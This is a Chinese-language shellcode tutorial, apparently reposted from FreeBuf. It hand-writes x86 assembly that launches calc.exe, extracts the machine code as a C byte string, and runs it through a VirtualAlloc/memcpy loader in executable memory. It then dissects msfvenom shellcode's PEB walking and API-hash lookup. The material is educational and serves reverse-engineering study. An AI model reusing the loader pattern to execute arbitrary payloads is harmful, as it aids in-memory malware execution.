如何去是實現一個shellcode的提取、加載呢?
0x01 shellcode基礎
shellcode為16進位的機器碼,下面我們通過一段打開計算器Calc.exe的簡單的代碼來進一步了解一下什麼是shellcode。
#include "stdafx.h"
#include
int main(int argc, char* argv[])
{
WinExec("calc",1);
return 0;
}
一句特別簡單的代碼,調用Windows API WinExec 打開計算器,接著我們在OD動態調試看看。
push 0x1 ;在x86下,通過壓棧來傳參,將1壓棧,WinExec("calc",1)里的參數1
push Opencalc.00406030 ;將存放calc字符串的地址壓棧,也是傳參
call dword ptr ds:[<&Kernel32.WinExec>] ;調用KERNEL32下的WinExec
引出問題
我們將這三句話下劃線標註部分的機器碼,用C語言的方式表達就是"\x6A\x01\x68\x30\x60\x40\x00\xFF\x15\x00\x50\x40\x00",也就是我常見的shellcode字符串。如果我們把這串加載在內存,能不能成功運行起來,恐怕是不行的,因為我們不能保證每一個程序的0x406030地址上都存放了calc字符串,也不能保證導入表中0x405000就是WinExec地址。
0x02 編寫一個簡單的shellcode
那麼問題很多的小明就會問,如果我們直接傳calc字符串,寫死的WinExec地址,是不是能在當前環境下的主機上運行?那我們就來試試,試試就試試。
首先構造一個calc字符串
xor ecx, ecx ; 把ecx置零
push ecx ; 置零後壓棧,充當字符串結尾的\x00
push 0x636c6163 ; clac(calc小端)
mov eax, esp ; 再把指向calc\x00的棧頂指針保存到eax
**獲取Kernel32 WinExec 地址 **
有兩種方法獲取地址,一是通過動態調試,二是通過GetProcAddress.
方法一:
選中或右鍵再數據窗口跟隨,即可獲取 WinExec 地址。
方法二:
#include "stdafx.h"
#include <windows.h>
typedef int (__cdecl *MYPROC)(LPTSTR);
int main() {
HINSTANCE Kernel32Addr;
MYPROC WinExecAddr;
Kernel32Addr = GetModuleHandle("kernel32.dll");
printf("KERNEL32 address in memory: 0x%08p\n", Kernel32Addr);
WinExecAddr = (MYPROC)GetProcAddress(Kernel32Addr, "WinExec");
printf("WinExec address in memory is: 0x%08p\n", WinExecAddr );
getchar();
return 0;
}
構造完整的彙編代碼
section .data
section .bss
section .text
global _start
_start:
xor ecx, ecx ; 把ecx置零
push ecx ; 置零後壓棧,充當字符串結尾的\x00
push 0x636c6163 ; clac(calc小端)
mov eax, esp ; 再把指向calc\x00的棧頂指針保存到eax
inc ecx ; ecx 置1
push ecx ; 壓棧傳第二個參數1
push eax ; 壓棧,eax指向的是calc\x00
mov ebx, 0x7c86250d ; 把WinExec地址保存到evx
call ebx ; 執行WinExec
將上面文件保存為xxx.asm,如果windows沒有編譯環境,可以直接用kali進行編譯,命令如下
nasm -f elf32 -o xxx.o xxx.asm
ld -m elf_i386 -o xxx xxx.o
然後通過 objdump -d xxx 讀取文件,並將其通過C格式列印出來,命令如下
objdump -M intel -d xxx | grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
這樣就順利拿到了我們的shellcode
加載shellcode
#include "stdafx.h"
#include <windows.h>
unsigned char shellcode[] =
"\x31\xc9\x51\x68\x63\x61\x6c\x63\x89\xe0\x41\x51\x50\xbb\x0d\x25\x86\x7c\xff\xd3\x59";
int main(int argc, char* argv[])
{
//將shellcode保存到內存中進行加載
void* exec = virtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}
編譯後運行。
成功彈出計算器,證實了小明的猜想是可行的。那麼問題很多的小明又問了,這種寫死的地址只能自己操自己,那有什麼用呢?不妨我們來看下msf的shellcode是如何實現在不同機器上實現功能的。
0x03 解析msf的shellcode
我們從逆向的角度去解析msf的shellcode,首先我們先通過一條msfvenom命令輸出與上文實現相同功能的shellcode。
msfvenom -p windows/exec cmd=calc.exe -f c
編譯我們的加載器,對其進行逆向分析。
#include "stdafx.h"
#include <windows.h>
// msf shellcode
unsigned char shellcode[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main(int argc, char* argv[])
{
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}
作者使用OD調試報錯,而改用windbg進行動態調試。
0x401000為main函數(代碼段初始地址),是我們加載代碼,通過virtualAlloc申請內存空間,並把內存地址放在了eax裡面,為0x003A0000,通過memcpy,將存放在.data段的shellcode變量存放在0x003A0000上,然後call。
我們跟進去看下,發現已經shellcode已經複製進了內存,我們的shellcode就能夠正常運行起來了,我把每一步彙編的作用都注釋了起來。
大致的流程我們可以分解成:
1.通過硬編碼偏移0x82獲得shellcode末尾的字符串「calc.exe」,然後入棧參數1以及calc.exe,還有winexec API Hash 876F8B31
2.循環遍歷PEB表獲取模塊基址
3.解析PE文件,無導出表則跳過,繼續2
4.解析導出表,導出表數量為0則跳過,繼續2
5.根據導出名稱表遍歷導出名稱來計算hash,並找到對應的函數,也就是WinExec
6.若找不到該函數,則通過鍊表找到下一個模塊信息,繼續2
7.找到winExec,執行該函數
裡面比較有意思的是使用了一個API hash來查找函數地址,這種技術叫SFHA(Stephen Fewer’s Hash AI),相關技術在17年的DEFCON時有專題講解。
0x04總結
還得是要多多調試下代碼,才能深化理解。
from https://www.freebuf.com/articles/endpoint/358706.html